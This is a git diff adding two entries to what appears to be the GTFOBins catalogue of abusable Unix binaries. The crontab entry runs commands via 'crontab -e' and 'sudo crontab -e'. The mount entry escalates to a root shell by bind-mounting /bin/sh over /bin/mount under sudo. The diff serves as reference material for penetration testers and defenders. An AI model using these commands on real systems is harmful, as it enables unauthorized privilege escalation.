diff --git a/_gtfobins/crontab.md b/_gtfobins/crontab.md new file mode 100644 index 0000000..12ac6ae --- /dev/null +++ b/_gtfobins/crontab.md @@ -0,0 +1,9 @@ +--- +functions: + execute-non-interactive: + - description: The commands are executed according to the crontab file edited via the `crontab` utility. + code: crontab -e + sudo-enabled: + - description: The commands are executed according to the crontab file edited via the `crontab` utility. + code: sudo crontab -e +--- diff --git a/_gtfobins/mount.md b/_gtfobins/mount.md new file mode 100644 index 0000000..104e35e --- /dev/null +++ b/_gtfobins/mount.md @@ -0,0 +1,8 @@ +--- +functions: + sudo-enabled: + - description: Exploit the fact that `mount` can be executed via `sudo` to *replace* the `mount` binary with a shell. + code: | + sudo mount -o bind /bin/sh /bin/mount + sudo mount +---